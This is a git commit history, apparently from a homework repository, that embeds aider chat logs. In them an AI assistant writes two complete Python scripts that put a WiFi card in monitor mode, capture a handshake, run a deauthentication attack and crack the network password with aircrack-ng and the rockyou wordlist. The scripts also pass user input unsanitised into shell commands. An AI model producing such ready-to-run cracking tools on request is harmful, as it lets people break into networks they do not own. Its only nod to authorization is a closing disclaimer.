Commit Graph

5 Commits

Author SHA1 Message Date
David Westgate
695dbbd865 re-gen scripts 2024-05-30 15:03:49 -07:00
David Westgate
c2e9d1eec5 aider: Implemented a Python application to assist in WiFi penetration testing by prompting the user for a target network SSID, capturing the handshake, and cracking the password using a wordlist.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name (SSID) of a password protected wifi network and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application may utilize a wordlist found at ~/rockyou.txt

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/claude/app.py

ASSISTANT: Here is the Python application to assist in WiFi penetration testing, saved to hw7/claude/app.py:

hw7/claude/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import re

def run_command(command):
    output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
    return output.decode('utf-8')

def change_to_monitor_mode(interface):
    run_command(f"sudo airmon-ng start {interface}")

def change_to_managed_mode(interface):
    run_command(f"sudo airmon-ng stop {interface}")

def get_wifi_interfaces():
    output = run_command("iwconfig")
    interfaces = re.findall(r"(\w+)\s+IEEE", output)
    return interfaces

def get_target_network(interface):
    while True:
        target_ssid = input("Enter the SSID of the target network: ")
        output = run_command(f"sudo airodump-ng --essid '{target_ssid}' {interface}")
        if target_ssid in output:
            break
        print(f"Network {target_ssid} not found. Please try again.")
    return target_ssid

def capture_handshake(target_network, interface):
    print(f"Capturing handshake for network {target_network}...")
    run_command(f"sudo airodump-ng --essid '{target_network}' --write capture {interface} &")
    run_command(f"sudo aireplay-ng -0 1 -e '{target_network}' {interface}")
    run_command("sudo killall airodump-ng")

def crack_password(capture_file, wordlist):
    print("Cracking password...")
    output = run_command(f"aircrack-ng {capture_file} -w {wordlist}")
    password = re.search(r"KEY FOUND! \[(.*?)\]", output).group(1)
    return password

def main():
    interfaces = get_wifi_interfaces()
    if len(interfaces) == 0:
        print("No WiFi interfaces found.")
        return

    interface = interfaces[0]
    print(f"Using interface {interface}")

    change_to_monitor_mode(interface)

    target_network = get_target_network(interface)
    capture_handshake(target_network, interface)

    change_to_managed_mode(interface)

    capture_file = "capture-01.cap"
    wordlist = "~/rockyou.txt"
    password = crack_password(capture_file, wordlist)

    print(f"Password for network {target_network} is: {password}")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```

This application does the following:

1. Gets the available WiFi interfaces using `iwconfig`
2. Prompts the user to enter the SSID of the target network
3. Changes the WiFi interface to monitor mode using `airmon-ng`
4. Captures the handshake for the target network using `airodump-ng` and `aireplay-ng`
5. Changes the WiFi interface back to managed mode
6. Cracks the password using the captured handshake file and a wordlist (`~/rockyou.txt`) with `aircrack-ng`
7. Prints out the cracked password for the target network

It uses `subprocess` to run the shell commands and `re` to parse the output. The WiFi interface is changed between managed and monitor modes as needed.
2024-05-30 14:44:42 -07:00
David Westgate
98312c9418 reset apps 2024-05-30 14:36:40 -07:00
David Westgate
b4933a8cc6 add photos, update readme 2024-05-30 14:20:14 -07:00
David Westgate
c01a88f305 aider: Created a Python application to assist in WiFi penetration testing.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected wifi netw

ork BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwco

nfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/claude/app.py

ASSISTANT: Here is the *SEARCH/REPLACE* block to create the requested Python application in a new file `hw7/claude/app.py`:

hw7/claude/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import threading

def run_command(command):
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    output, error = process.communicate()
    return output.decode('utf-8'), error.decode('utf-8')

def change_mode(interface, mode):
    run_command(f"sudo ifconfig {interface} down")
    run_command(f"sudo iwconfig {interface} mode {mode}")
    run_command(f"sudo ifconfig {interface} up")

def start_monitor_mode(interface):
    change_mode(interface, "monitor")

def stop_monitor_mode(interface):
    change_mode(interface, "managed")

def crack_password(cap_file, wordlist, bssid):
    command = f"sudo aircrack-ng -w {wordlist} -b {bssid} {cap_file}"
    output, error = run_command(command)
    if "KEY FOUND!" in output:
        return output.split("KEY FOUND! [ ")[1].split(" ]")[0]
    else:
        return None

def main():
    interface = "wlan0"
    bssid = input("Enter the BSSID of the target network: ")
    wordlist = "rockyou.txt"
    cap_file = "capture.cap"

    print("[*] Enabling monitor mode...")
    start_monitor_mode(interface)

    print("[*] Starting packet capture...")
    capture_thread = threading.Thread(target=run_command, args=(f"sudo airodump-ng -w {cap_file} --bssid {bssid} {interface}",))
    capture_thread.start()

    print("[*] Performing deauthentication attack...")
    run_command(f"sudo aireplay-ng -0 10 -a {bssid} {interface}")

    capture_thread.join(timeout=60)

    print("[*] Cracking password...")
    password = crack_password(f"{cap_file}-01.cap", wordlist, bssid)

    print("[*] Disabling monitor mode...")
    stop_monitor_mode(interface)

    if password:
        print(f"[+] Password found: {password}")
    else:
        print("[-] Password not found.")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```

This Python script does the following:

1. Prompts the user for the BSSID of the target Wi-Fi network.
2. Enables monitor mode on the wireless interface using `iwconfig`.
3. Starts capturing packets from the target network using `airodump-ng` in a separate thread.
4. Performs a deauthentication attack on the target network using `aireplay-ng` to force clients to reconnect and capture the handshake.
5. Waits for the packet capture to complete (timeout of 60 seconds).
6. Attempts to crack the captured handshake using `aircrack-ng` and a wordlist.
7. Disables monitor mode on the wireless interface.
8. Prints the cracked password if found, or a message if not found.

The script uses a combination of `iwconfig`, `airodump-ng`, `aireplay-ng`, and `aircrack-ng` tools to perform the Wi-Fi penetration testing tasks. It assumes these tools are available on the user's Linux system.

Please note that this script is for educational purposes only and should be used responsibly and with proper authorization.
2024-05-30 14:17:47 -07:00